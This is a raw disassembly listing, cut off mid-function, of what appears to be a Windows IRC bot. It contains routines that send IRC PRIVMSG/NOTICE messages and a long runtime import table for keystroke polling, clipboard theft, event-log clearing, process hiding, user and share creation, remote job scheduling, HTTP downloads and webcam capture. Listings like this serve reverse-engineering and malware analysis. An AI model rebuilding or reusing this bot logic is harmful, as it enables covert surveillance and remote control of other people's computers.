sub_4096FD proc near ; CODE XREF: sub_401925+3Dp
; sub_401AA1+1BDp ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push 200h
push eax
call sub_41C800
add esp, 10h
lea eax, [ebp+var_200]
push 0
push eax
call sub_41B650
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_4CE358 ; send
leave
retn
sub_4096FD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409743 proc near ; CODE XREF: sub_401AA1+4DDp
; sub_401AA1+1308p ...
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 400h
cmp [ebp+arg_C], 0
push esi
push edi
mov edi, offset aNotice ; "NOTICE"
jnz short loc_40975E
mov edi, offset aPrivmsg ; "PRIVMSG"
loc_40975E: ; CODE XREF: sub_409743+14j
push edi
call sub_41B650
push [ebp+arg_4]
mov esi, 1FAh
sub esi, eax
call sub_41B650
push [ebp+arg_8]
sub esi, eax
lea eax, [ebp+var_400]
push offset aS_2 ; "%s"
push esi
push eax
call sub_41BFF0
lea eax, [ebp+var_400]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push edi
push offset aSSS_0 ; "%s %s :%s\r\n"
push eax
call sub_41BEF6
add esp, 2Ch
lea eax, [ebp+var_200]
push 0
push eax
call sub_41B650
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_4CE358 ; send
cmp [ebp+arg_10], 0
pop edi
pop esi
jz short locret_4097DC
push 7D0h
call dword_428080 ; Sleep
locret_4097DC: ; CODE XREF: sub_409743+8Cj
leave
retn
sub_409743 endp
; =============== S U B R O U T I N E =======================================
sub_4097DE proc near ; CODE XREF: sub_40121E+4Bp
push ebx
push ebp
mov ebp, dword_4280A4
push esi
push edi
push offset aKernel32_dll ; "kernel32.dll"
call ebp ; GetModuleHandleA
mov esi, dword_4280C4
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jz loc_4098FE
push offset aSeterrormode ; "SetErrorMode"
push edi
call esi ; GetProcAddress
push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
push edi
mov dword_4CE3B4, eax
call esi ; GetProcAddress
push offset aProcess32first ; "Process32First"
push edi
mov dword_4CE328, eax
call esi ; GetProcAddress
push offset aProcess32next ; "Process32Next"
push edi
mov dword_4CE30C, eax
call esi ; GetProcAddress
push offset aModule32first ; "Module32First"
push edi
mov dword_4CE21C, eax
call esi ; GetProcAddress
push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
push edi
mov dword_4CE1C8, eax
call esi ; GetProcAddress
push offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
push edi
mov dword_4CE1F8, eax
call esi ; GetProcAddress
push offset aGetdrivetypea ; "GetDriveTypeA"
push edi
mov dword_4CE270, eax
call esi ; GetProcAddress
push offset aSearchpatha ; "SearchPathA"
push edi
mov dword_4CE368, eax
call esi ; GetProcAddress
push offset aQueryperforman ; "QueryPerformanceCounter"
push edi
mov dword_4CE3C0, eax
call esi ; GetProcAddress
push offset aQueryperform_0 ; "QueryPerformanceFrequency"
push edi
mov dword_4CE228, eax
call esi ; GetProcAddress
cmp dword_4CE3B4, ebx
mov dword_4CE210, eax
jz short loc_4098DC
cmp dword_4CE328, ebx
jz short loc_4098DC
cmp dword_4CE30C, ebx
jz short loc_4098DC
cmp dword_4CE21C, ebx
jz short loc_4098DC
cmp dword_4CE1F8, ebx
jz short loc_4098DC
cmp dword_4CE270, ebx
jz short loc_4098DC
cmp dword_4CE368, ebx
jz short loc_4098DC
cmp dword_4CE3C0, ebx
jz short loc_4098DC
cmp dword_4CE228, ebx
jz short loc_4098DC
cmp eax, ebx
jnz short loc_4098E6
loc_4098DC: ; CODE XREF: sub_4097DE+B8j
; sub_4097DE+C0j ...
mov dword_4CE3C4, 1
loc_4098E6: ; CODE XREF: sub_4097DE+FCj
push offset aRegisterservic ; "RegisterServiceProcess"
push edi
call esi ; GetProcAddress
cmp eax, ebx
mov dword_4CE340, eax
jz short loc_409913
push 1
push ebx
call eax
jmp short loc_409913
; ---------------------------------------------------------------------------
loc_4098FE: ; CODE XREF: sub_4097DE+1Dj
call dword_428094 ; RtlGetLastWin32Error
mov dword_4CE3C8, eax
mov dword_4CE3C4, 1
loc_409913: ; CODE XREF: sub_4097DE+117j
; sub_4097DE+11Ej
push offset aUser32_dll ; "user32.dll"
call dword_4280C0 ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_409A28
push offset aSendmessagea ; "SendMessageA"
push edi
call esi ; GetProcAddress
push offset aFindwindowa ; "FindWindowA"
push edi
mov dword_4CE364, eax
call esi ; GetProcAddress
push offset aIswindow ; "IsWindow"
push edi
mov dword_4CE314, eax
call esi ; GetProcAddress
push offset aDestroywindow ; "DestroyWindow"
push edi
mov dword_4CE2A8, eax
call esi ; GetProcAddress
push offset aOpenclipboard ; "OpenClipboard"
push edi
mov dword_4CE3B8, eax
call esi ; GetProcAddress
push offset aGetclipboardda ; "GetClipboardData"
push edi
mov dword_4CE2D8, eax
call esi ; GetProcAddress
push offset aCloseclipboard ; "CloseClipboard"
push edi
mov dword_4CE2F8, eax
call esi ; GetProcAddress
push offset aExitwindowsex ; "ExitWindowsEx"
push edi
mov dword_4CE35C, eax
call esi ; GetProcAddress
cmp dword_4CE364, ebx
mov dword_4CE248, eax
jz short loc_4099CC
cmp dword_4CE314, ebx
jz short loc_4099CC
cmp dword_4CE2A8, ebx
jz short loc_4099CC
cmp dword_4CE3B8, ebx
jz short loc_4099CC
cmp dword_4CE2D8, ebx
jz short loc_4099CC
cmp dword_4CE2F8, ebx
jz short loc_4099CC
cmp dword_4CE35C, ebx
jz short loc_4099CC
cmp eax, ebx
jnz short loc_4099D6
loc_4099CC: ; CODE XREF: sub_4097DE+1B8j
; sub_4097DE+1C0j ...
mov dword_4CE3CC, 1
loc_4099D6: ; CODE XREF: sub_4097DE+1ECj
push offset aGetasynckeysta ; "GetAsyncKeyState"
push edi
call esi ; GetProcAddress
push offset aGetkeystate ; "GetKeyState"
push edi
mov dword_4CE2D4, eax
call esi ; GetProcAddress
push offset aGetwindowtexta ; "GetWindowTextA"
push edi
mov dword_4CE1DC, eax
call esi ; GetProcAddress
push offset aGetforegroundw ; "GetForegroundWindow"
push edi
mov dword_4CE2A4, eax
call esi ; GetProcAddress
cmp dword_4CE2D4, ebx
mov dword_4CE28C, eax
jz short loc_409A33
cmp dword_4CE1DC, ebx
jz short loc_409A33
cmp dword_4CE2A4, ebx
jz short loc_409A33
cmp eax, ebx
jnz short loc_409A3D
jmp short loc_409A33
; ---------------------------------------------------------------------------
loc_409A28: ; CODE XREF: sub_4097DE+144j
call dword_428094 ; RtlGetLastWin32Error
mov dword_4CE3D0, eax
loc_409A33: ; CODE XREF: sub_4097DE+232j
; sub_4097DE+23Aj ...
mov dword_4CE3CC, 1
loc_409A3D: ; CODE XREF: sub_4097DE+246j
push offset aAdvapi32_dll ; "advapi32.dll"
call ebp ; GetModuleHandleA
mov edi, eax
cmp edi, ebx
jz loc_409BF6
push offset aRegopenkeyexa ; "RegOpenKeyExA"
push edi
call esi ; GetProcAddress
push offset aRegcreatekeyex ; "RegCreateKeyExA"
push edi
mov dword_4CE378, eax
call esi ; GetProcAddress
push offset aRegsetvalueexa ; "RegSetValueExA"
push edi
mov dword_4CE2BC, eax
call esi ; GetProcAddress
push offset aRegqueryvaluee ; "RegQueryValueExA"
push edi
mov dword_4CE32C, eax
call esi ; GetProcAddress
push offset aRegdeletevalue ; "RegDeleteValueA"
push edi
mov dword_4CE208, eax
call esi ; GetProcAddress
push offset aRegclosekey ; "RegCloseKey"
push edi
mov dword_4CE26C, eax
call esi ; GetProcAddress
push offset aOpeneventloga ; "OpenEventLogA"
push edi
mov dword_4CE2E4, eax
call esi ; GetProcAddress
push offset aCleareventloga ; "ClearEventLogA"
push edi
mov dword_4CE288, eax
call esi ; GetProcAddress
cmp dword_4CE378, ebx
mov dword_4CE298, eax
jz short loc_409AE6
cmp dword_4CE2BC, ebx
jz short loc_409AE6
cmp dword_4CE32C, ebx
jz short loc_409AE6
cmp dword_4CE208, ebx
jz short loc_409AE6
cmp dword_4CE26C, ebx
jz short loc_409AE6
cmp dword_4CE2E4, ebx
jnz short loc_409AF0
loc_409AE6: ; CODE XREF: sub_4097DE+2DEj
; sub_4097DE+2E6j ...
mov dword_4CE3D4, 1
loc_409AF0: ; CODE XREF: sub_4097DE+306j
push offset aOpenprocesstok ; "OpenProcessToken"
push edi
call esi ; GetProcAddress
push offset aLookupprivileg ; "LookupPrivilegeValueA"
push edi
mov dword_4CE2EC, eax
call esi ; GetProcAddress
push offset aAdjusttokenpri ; "AdjustTokenPrivileges"
push edi
mov dword_4CE2C4, eax
call esi ; GetProcAddress
cmp dword_4CE2EC, ebx
mov dword_4CE374, eax
jz short loc_409B2B
cmp dword_4CE2C4, ebx
jz short loc_409B2B
cmp eax, ebx
jnz short loc_409B35
loc_409B2B: ; CODE XREF: sub_4097DE+33Fj
; sub_4097DE+347j
mov dword_4CE3D4, 1
loc_409B35: ; CODE XREF: sub_4097DE+34Bj
push offset aOpenscmanagera ; "OpenSCManagerA"
push edi
call esi ; GetProcAddress
push offset aOpenservicea ; "OpenServiceA"
push edi
mov dword_4CE2FC, eax
call esi ; GetProcAddress
push offset aStartservicea ; "StartServiceA"
push edi
mov dword_4CE1E4, eax
call esi ; GetProcAddress
push offset aControlservice ; "ControlService"
push edi
mov dword_4CE1EC, eax
call esi ; GetProcAddress
push offset aDeleteservice ; "DeleteService"
push edi
mov dword_4CE250, eax
call esi ; GetProcAddress
push offset aCloseserviceha ; "CloseServiceHandle"
push edi
mov dword_4CE254, eax
call esi ; GetProcAddress
push offset aEnumservicesst ; "EnumServicesStatusA"
push edi
mov dword_4CE200, eax
call esi ; GetProcAddress
push offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
push edi
mov dword_4CE2C8, eax
call esi ; GetProcAddress
cmp dword_4CE2FC, ebx
mov dword_4CE1F0, eax
jz short loc_409BD9
cmp dword_4CE1E4, ebx
jz short loc_409BD9
cmp dword_4CE1EC, ebx
jz short loc_409BD9
cmp dword_4CE250, ebx
jz short loc_409BD9
cmp dword_4CE254, ebx
jz short loc_409BD9
cmp dword_4CE200, ebx
jz short loc_409BD9
cmp dword_4CE2C8, ebx
jz short loc_409BD9
cmp eax, ebx
jnz short loc_409BE3
loc_409BD9: ; CODE XREF: sub_4097DE+3C5j
; sub_4097DE+3CDj ...
mov dword_4CE3D4, 1
loc_409BE3: ; CODE XREF: sub_4097DE+3F9j
push offset aGetusernamea ; "GetUserNameA"
push edi
call esi ; GetProcAddress
cmp eax, ebx
mov dword_4CE1E8, eax
jnz short loc_409C0B
jmp short loc_409C01
; ---------------------------------------------------------------------------
loc_409BF6: ; CODE XREF: sub_4097DE+26Aj
call dword_428094 ; RtlGetLastWin32Error
mov dword_4CE3D8, eax
loc_409C01: ; CODE XREF: sub_4097DE+416j
mov dword_4CE3D4, 1
loc_409C0B: ; CODE XREF: sub_4097DE+414j
push offset aGdi32_dll ; "gdi32.dll"
call ebp ; GetModuleHandleA
mov edi, eax
cmp edi, ebx
jz loc_409CD7
push offset aCreatedca ; "CreateDCA"
push edi
call esi ; GetProcAddress
push offset aCreatedibsecti ; "CreateDIBSection"
push edi
mov dword_4CE2F4, eax
call esi ; GetProcAddress
push offset aCreatecompatib ; "CreateCompatibleDC"
push edi
mov dword_4CE34C, eax
call esi ; GetProcAddress
push offset aGetdevicecaps ; "GetDeviceCaps"
push edi
mov dword_4CE354, eax
call esi ; GetProcAddress
push offset aGetdibcolortab ; "GetDIBColorTable"
push edi
mov dword_4CE310, eax
call esi ; GetProcAddress
push offset aSelectobject ; "SelectObject"
push edi
mov dword_4CE22C, eax
call esi ; GetProcAddress
push offset aBitblt ; "BitBlt"
push edi
mov dword_4CE1D8, eax
call esi ; GetProcAddress
push offset aDeletedc ; "DeleteDC"
push edi
mov dword_4CE350, eax
call esi ; GetProcAddress
push offset aDeleteobject ; "DeleteObject"
push edi
mov dword_4CE1C4, eax
call esi ; GetProcAddress
cmp dword_4CE2F4, ebx
mov dword_4CE264, eax
jz short loc_409CE2
cmp dword_4CE34C, ebx
jz short loc_409CE2
cmp dword_4CE354, ebx
jz short loc_409CE2
cmp dword_4CE310, ebx
jz short loc_409CE2
cmp dword_4CE22C, ebx
jz short loc_409CE2
cmp dword_4CE1D8, ebx
jz short loc_409CE2
cmp dword_4CE350, ebx
jz short loc_409CE2
cmp dword_4CE1C4, ebx
jz short loc_409CE2
cmp eax, ebx
jnz short loc_409CEC
jmp short loc_409CE2
; ---------------------------------------------------------------------------
loc_409CD7: ; CODE XREF: sub_4097DE+438j
call dword_428094 ; RtlGetLastWin32Error
mov dword_4CE3E0, eax
loc_409CE2: ; CODE XREF: sub_4097DE+4B9j
; sub_4097DE+4C1j ...
mov dword_4CE3DC, 1
loc_409CEC: ; CODE XREF: sub_4097DE+4F5j
mov ebp, dword_4280C0
push offset aWs2_32_dll ; "ws2_32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_409FA8
push offset aWsastartup ; "WSAStartup"
push edi
call esi ; GetProcAddress
push offset aWsasocketa ; "WSASocketA"
push edi
mov dword_4CE278, eax
call esi ; GetProcAddress
push offset aWsaasyncselect ; "WSAAsyncSelect"
push edi
mov dword_4CE3AC, eax
call esi ; GetProcAddress
push offset a__wsafdisset ; "__WSAFDIsSet"
push edi
mov dword_4CE218, eax
call esi ; GetProcAddress
push offset aWsaioctl ; "WSAIoctl"
push edi
mov dword_4CE1F4, eax
call esi ; GetProcAddress
push offset aWsagetlasterro ; "WSAGetLastError"
push edi
mov dword_4CE2B4, eax
call esi ; GetProcAddress
push offset aWsacleanup ; "WSACleanup"
push edi
mov dword_4CE29C, eax
call esi ; GetProcAddress
push offset aSocket ; "socket"
push edi
mov dword_4CE260, eax
call esi ; GetProcAddress
push offset aIoctlsocket ; "ioctlsocket"
push edi
mov dword_4CE388, eax
call esi ; GetProcAddress
push offset aConnect ; "connect"
push edi
mov dword_4CE3A4, eax
call esi ; GetProcAddress
push offset aInet_ntoa ; "inet_ntoa"
push edi
mov dword_4CE2B0, eax
call esi ; GetProcAddress
push offset aInet_addr ; "inet_addr"
push edi
mov dword_4CE394, eax
call esi ; GetProcAddress
push offset aHtons ; "htons"
push edi
mov dword_4CE348, eax
call esi ; GetProcAddress
push offset aHtonl ; "htonl"
push edi
mov dword_4CE308, eax
call esi ; GetProcAddress
push offset aNtohs ; "ntohs"
push edi
mov dword_4CE304, eax
call esi ; GetProcAddress
push offset aNtohl ; "ntohl"
push edi
mov dword_4CE238, eax
call esi ; GetProcAddress
push offset aSend ; "send"
push edi
mov dword_4CE230, eax
call esi ; GetProcAddress
push offset aSendto ; "sendto"
push edi
mov dword_4CE358, eax
call esi ; GetProcAddress
push offset aRecv ; "recv"
push edi
mov dword_4CE36C, eax
call esi ; GetProcAddress
push offset aRecvfrom ; "recvfrom"
push edi
mov dword_4CE320, eax
call esi ; GetProcAddress
mov dword_4CE2E0, eax
push offset aBind ; "bind"
push edi
call esi ; GetProcAddress
push offset aSelect ; "select"
push edi
mov dword_4CE334, eax
call esi ; GetProcAddress
push offset aListen ; "listen"
push edi
mov dword_4CE2F0, eax
call esi ; GetProcAddress
push offset aAccept ; "accept"
push edi
mov dword_4CE330, eax
call esi ; GetProcAddress
push offset aSetsockopt ; "setsockopt"
push edi
mov dword_4CE39C, eax
call esi ; GetProcAddress
push offset aGetsockname ; "getsockname"
push edi
mov dword_4CE2E8, eax
call esi ; GetProcAddress
push offset aGethostname ; "gethostname"
push edi
mov dword_4CE2AC, eax
call esi ; GetProcAddress
push offset aGethostbyname ; "gethostbyname"
push edi
mov dword_4CE31C, eax
call esi ; GetProcAddress
push offset aGethostbyaddr ; "gethostbyaddr"
push edi
mov dword_4CE38C, eax
call esi ; GetProcAddress
push offset aGetpeername ; "getpeername"
push edi
mov dword_4CE2C0, eax
call esi ; GetProcAddress
push offset aClosesocket ; "closesocket"
push edi
mov dword_4CE25C, eax
call esi ; GetProcAddress
cmp dword_4CE278, ebx
mov dword_4CE3A0, eax
jz loc_409FB3
cmp dword_4CE3AC, ebx
jz loc_409FB3
cmp dword_4CE218, ebx
jz loc_409FB3
cmp dword_4CE2B4, ebx
jz loc_409FB3
cmp dword_4CE29C, ebx
jz loc_409FB3
cmp dword_4CE260, ebx
jz loc_409FB3
cmp dword_4CE388, ebx
jz loc_409FB3
cmp dword_4CE3A4, ebx
jz loc_409FB3
cmp dword_4CE2B0, ebx
jz loc_409FB3
cmp dword_4CE394, ebx
jz loc_409FB3
cmp dword_4CE348, ebx
jz loc_409FB3
cmp dword_4CE308, ebx
jz loc_409FB3
cmp dword_4CE304, ebx
jz loc_409FB3
cmp dword_4CE238, ebx
jz short loc_409FB3
cmp dword_4CE358, ebx
jz short loc_409FB3
cmp dword_4CE36C, ebx
jz short loc_409FB3
cmp dword_4CE320, ebx
jz short loc_409FB3
cmp dword_4CE2E0, ebx
jz short loc_409FB3
cmp dword_4CE334, ebx
jz short loc_409FB3
cmp dword_4CE2F0, ebx
jz short loc_409FB3
cmp dword_4CE330, ebx
jz short loc_409FB3
cmp dword_4CE39C, ebx
jz short loc_409FB3
cmp dword_4CE2E8, ebx
jz short loc_409FB3
cmp dword_4CE2AC, ebx
jz short loc_409FB3
cmp dword_4CE31C, ebx
jz short loc_409FB3
cmp dword_4CE38C, ebx
jz short loc_409FB3
cmp dword_4CE2C0, ebx
jz short loc_409FB3
cmp eax, ebx
jnz short loc_409FBD
jmp short loc_409FB3
; ---------------------------------------------------------------------------
loc_409FA8: ; CODE XREF: sub_4097DE+51Fj
call dword_428094 ; RtlGetLastWin32Error
mov dword_4CE3E8, eax
loc_409FB3: ; CODE XREF: sub_4097DE+6BEj
; sub_4097DE+6CAj ...
mov dword_4CE3E4, 1
loc_409FBD: ; CODE XREF: sub_4097DE+7C6j
push offset aWininet_dll ; "wininet.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_40A0C2
push offset aInternetgetcon ; "InternetGetConnectedState"
push edi
call esi ; GetProcAddress
push offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
push edi
mov dword_4CE244, eax
call esi ; GetProcAddress
push offset aHttpopenreques ; "HttpOpenRequestA"
push edi
mov dword_4CE1CC, eax
call esi ; GetProcAddress
push offset aHttpsendreques ; "HttpSendRequestA"
push edi
mov dword_4CE2D0, eax
call esi ; GetProcAddress
push offset aInternetconnec ; "InternetConnectA"
push edi
mov dword_4CE27C, eax
call esi ; GetProcAddress
push offset aInternetopena ; "InternetOpenA"
push edi
mov dword_4CE2DC, eax
call esi ; GetProcAddress
push offset aInternetopenur ; "InternetOpenUrlA"
push edi
mov dword_4CE2A0, eax
call esi ; GetProcAddress
push offset aInternetcracku ; "InternetCrackUrlA"
push edi
mov dword_4CE20C, eax
call esi ; GetProcAddress
push offset aInternetreadfi ; "InternetReadFile"
push edi
mov dword_4CE204, eax
call esi ; GetProcAddress
push offset aInternetcloseh ; "InternetCloseHandle"
push edi
mov dword_4CE214, eax
call esi ; GetProcAddress
cmp dword_4CE244, ebx
mov ecx, dword_4CE2A0
mov dword_4CE33C, eax
jz short loc_40A09E
cmp dword_4CE1CC, ebx
jz short loc_40A09E
cmp dword_4CE2D0, ebx
jz short loc_40A09E
cmp dword_4CE27C, ebx
jz short loc_40A09E
cmp dword_4CE2DC, ebx
jz short loc_40A09E
cmp ecx, ebx
jz short loc_40A09E
cmp dword_4CE20C, ebx
jz short loc_40A09E
cmp dword_4CE204, ebx
jz short loc_40A09E
cmp dword_4CE214, ebx
jz short loc_40A09E
cmp eax, ebx
jnz short loc_40A0A8
loc_40A09E: ; CODE XREF: sub_4097DE+87Ej
; sub_4097DE+886j ...
mov dword_4CE3EC, 1
loc_40A0A8: ; CODE XREF: sub_4097DE+8BEj
cmp ecx, ebx
jz short loc_40A0DD
push ebx
push ebx
push ebx
push ebx
push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
call ecx ; InternetOpenA
cmp eax, ebx
mov dword_4CE2B8, eax
jnz short loc_40A0DD
jmp short loc_40A0D7
; ---------------------------------------------------------------------------
loc_40A0C2: ; CODE XREF: sub_4097DE+7EAj
call dword_428094 ; RtlGetLastWin32Error
mov dword_4CE3F0, eax
mov dword_4CE3EC, 1
loc_40A0D7: ; CODE XREF: sub_4097DE+8E2j
mov dword_4CE2B8, ebx
loc_40A0DD: ; CODE XREF: sub_4097DE+8CCj
; sub_4097DE+8E0j
push offset aIcmp_dll ; "icmp.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A127
push offset aIcmpcreatefile ; "IcmpCreateFile"
push edi
call esi ; GetProcAddress
push offset aIcmpclosehandl ; "IcmpCloseHandle"
push edi
mov dword_4CE290, eax
call esi ; GetProcAddress
push offset aIcmpsendecho ; "IcmpSendEcho"
push edi
mov dword_4CE3BC, eax
call esi ; GetProcAddress
cmp dword_4CE290, ebx
mov dword_4CE220, eax
jz short loc_40A132
cmp dword_4CE3BC, ebx
jz short loc_40A132
cmp eax, ebx
jnz short loc_40A13C
jmp short loc_40A132
; ---------------------------------------------------------------------------
loc_40A127: ; CODE XREF: sub_4097DE+90Aj
call dword_428094 ; RtlGetLastWin32Error
mov dword_4CE3F8, eax
loc_40A132: ; CODE XREF: sub_4097DE+939j
; sub_4097DE+941j ...
mov dword_4CE3F4, 1
loc_40A13C: ; CODE XREF: sub_4097DE+945j
push offset aNetapi32_dll ; "netapi32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_40A243
push offset aNetshareadd ; "NetShareAdd"
push edi
call esi ; GetProcAddress
push offset aNetsharedel ; "NetShareDel"
push edi
mov dword_4CE1FC, eax
call esi ; GetProcAddress
push offset aNetshareenum ; "NetShareEnum"
push edi
mov dword_4CE1D4, eax
call esi ; GetProcAddress
push offset aNetschedulejob ; "NetScheduleJobAdd"
push edi
mov dword_4CE24C, eax
call esi ; GetProcAddress
push offset aNetapibufferfr ; "NetApiBufferFree"
push edi
mov dword_4CE280, eax
call esi ; GetProcAddress
push offset aNetremotetod ; "NetRemoteTOD"
push edi
mov dword_4CE398, eax
call esi ; GetProcAddress
push offset aNetuseradd ; "NetUserAdd"
push edi
mov dword_4CE234, eax
call esi ; GetProcAddress
push offset aNetuserdel ; "NetUserDel"
push edi
mov dword_4CE1E0, eax
call esi ; GetProcAddress
push offset aNetuserenum ; "NetUserEnum"
push edi
mov dword_4CE1D0, eax
call esi ; GetProcAddress
push offset aNetusergetinfo ; "NetUserGetInfo"
push edi
mov dword_4CE268, eax
call esi ; GetProcAddress
push offset aNetmessagebuff ; "NetMessageBufferSend"
push edi
mov dword_4CE360, eax
call esi ; GetProcAddress
push offset aNetwkstagetinf ; "NetWkstaGetInfo"
push edi
mov dword_4CE318, eax
call esi ; GetProcAddress
cmp dword_4CE1FC, ebx
mov dword_4CE23C, eax
jz short loc_40A24E
cmp dword_4CE1D4, ebx
jz short loc_40A24E
cmp dword_4CE24C, ebx
jz short loc_40A24E
cmp dword_4CE280, ebx
jz short loc_40A24E
cmp dword_4CE398, ebx
jz short loc_40A24E
cmp dword_4CE234, ebx
jz short loc_40A24E
cmp dword_4CE1E0, ebx
jz short loc_40A24E
cmp dword_4CE1D0, ebx
jz short loc_40A24E
cmp dword_4CE268, ebx
jz short loc_40A24E
cmp dword_4CE360, ebx
jz short loc_40A24E
cmp dword_4CE318, ebx
jnz short loc_40A258
jmp short loc_40A24E
; ---------------------------------------------------------------------------
loc_40A243: ; CODE XREF: sub_4097DE+969j
call dword_428094 ; RtlGetLastWin32Error
mov dword_4CE400, eax
loc_40A24E: ; CODE XREF: sub_4097DE+A11j
; sub_4097DE+A19j ...
mov dword_4CE3FC, 1
loc_40A258: ; CODE XREF: sub_4097DE+A61j
push offset aDnsapi_dll ; "dnsapi.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A28D
push offset aDnsflushresolv ; "DnsFlushResolverCache"
push edi
call esi ; GetProcAddress
push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
push edi
mov dword_4CE224, eax
call esi ; GetProcAddress
cmp dword_4CE224, ebx
mov dword_4CE300, eax
jz short loc_40A298
cmp eax, ebx
jnz short loc_40A2A2
jmp short loc_40A298
; ---------------------------------------------------------------------------
loc_40A28D: ; CODE XREF: sub_4097DE+A85j
call dword_428094 ; RtlGetLastWin32Error
mov dword_4CE408, eax
loc_40A298: ; CODE XREF: sub_4097DE+AA7j
; sub_4097DE+AADj
mov dword_4CE404, 1
loc_40A2A2: ; CODE XREF: sub_4097DE+AABj
push offset aIphlpapi_dll ; "iphlpapi.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A2D7
push offset aGetipnettable ; "GetIpNetTable"
push edi
call esi ; GetProcAddress
push offset aDeleteipnetent ; "DeleteIpNetEntry"
push edi
mov dword_4CE384, eax
call esi ; GetProcAddress
cmp dword_4CE384, ebx
mov dword_4CE380, eax
jz short loc_40A2E2
cmp eax, ebx
jnz short loc_40A2EC
jmp short loc_40A2E2
; ---------------------------------------------------------------------------
loc_40A2D7: ; CODE XREF: sub_4097DE+ACFj
call dword_428094 ; RtlGetLastWin32Error
mov dword_4CE410, eax
loc_40A2E2: ; CODE XREF: sub_4097DE+AF1j
; sub_4097DE+AF7j
mov dword_4CE40C, 1
loc_40A2EC: ; CODE XREF: sub_4097DE+AF5j
push offset aMpr_dll ; "mpr.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A34B
push offset aWnetaddconnect ; "WNetAddConnection2A"
push edi
call esi ; GetProcAddress
push offset aWnetaddconne_0 ; "WNetAddConnection2W"
push edi
mov dword_4CE3B0, eax
call esi ; GetProcAddress
push offset aWnetcancelconn ; "WNetCancelConnection2A"
push edi
mov dword_4CE3A8, eax
call esi ; GetProcAddress
push offset aWnetcancelco_0 ; "WNetCancelConnection2W"
push edi
mov dword_4CE370, eax
call esi ; GetProcAddress
cmp dword_4CE3B0, ebx
mov dword_4CE240, eax
jz short loc_40A356
cmp dword_4CE3A8, ebx
jz short loc_40A356
cmp dword_4CE370, ebx
jz short loc_40A356
cmp eax, ebx
jnz short loc_40A360
jmp short loc_40A356
; ---------------------------------------------------------------------------
loc_40A34B: ; CODE XREF: sub_4097DE+B19j
call dword_428094 ; RtlGetLastWin32Error
mov dword_4CE418, eax
loc_40A356: ; CODE XREF: sub_4097DE+B55j
; sub_4097DE+B5Dj ...
mov dword_4CE414, 1
loc_40A360: ; CODE XREF: sub_4097DE+B69j
push offset aShell32_dll ; "shell32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A395
push offset aShellexecutea ; "ShellExecuteA"
push edi
call esi ; GetProcAddress
push offset aShchangenotify ; "SHChangeNotify"
push edi
mov dword_4CE274, eax
call esi ; GetProcAddress
cmp dword_4CE274, ebx
mov dword_4CE37C, eax
jz short loc_40A3A0
cmp eax, ebx
jnz short loc_40A3AA
jmp short loc_40A3A0
; ---------------------------------------------------------------------------
loc_40A395: ; CODE XREF: sub_4097DE+B8Dj
call dword_428094 ; RtlGetLastWin32Error
mov dword_4CE420, eax
loc_40A3A0: ; CODE XREF: sub_4097DE+BAFj
; sub_4097DE+BB5j
mov dword_4CE41C, 1
loc_40A3AA: ; CODE XREF: sub_4097DE+BB3j
push offset aOdbc32_dll ; "odbc32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A433
push offset aSqldriverconne ; "SQLDriverConnect"
push edi
call esi ; GetProcAddress
push offset aSqlsetenvattr ; "SQLSetEnvAttr"
push edi
mov dword_4CE344, eax
call esi ; GetProcAddress
push offset aSqlexecdirect ; "SQLExecDirect"
push edi
mov dword_4CE390, eax
call esi ; GetProcAddress
push offset aSqlallochandle ; "SQLAllocHandle"
push edi
mov dword_4CE2CC, eax
call esi ; GetProcAddress
push offset aSqlfreehandle ; "SQLFreeHandle"
push edi
mov dword_4CE284, eax
call esi ; GetProcAddress
push offset aSqldisconnect ; "SQLDisconnect"
push edi
mov dword_4CE324, eax
call esi ; GetProcAddress
cmp dword_4CE344, ebx
mov dword_4CE294, eax
jz short loc_40A43E
cmp dword_4CE390, ebx
jz short loc_40A43E
cmp dword_4CE2CC, ebx
jz short loc_40A43E
cmp dword_4CE284, ebx
jz short loc_40A43E
cmp dword_4CE324, ebx
jz short loc_40A43E
cmp eax, ebx
jnz short loc_40A448
jmp short loc_40A43E
; ---------------------------------------------------------------------------
loc_40A433: ; CODE XREF: sub_4097DE+BD7j
call dword_428094 ; RtlGetLastWin32Error
mov dword_4CE428, eax
loc_40A43E: ; CODE XREF: sub_4097DE+C2Dj
; sub_4097DE+C35j ...
mov dword_4CE424, 1
loc_40A448: ; CODE XREF: sub_4097DE+C51j
push offset aAvicap32_dll ; "avicap32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A47D
push offset aCapcreatecaptu ; "capCreateCaptureWindowA"
push edi
call esi ; GetProcAddress
push offset aCapgetdriverde ; "capGetDriverDescriptionA"
push edi
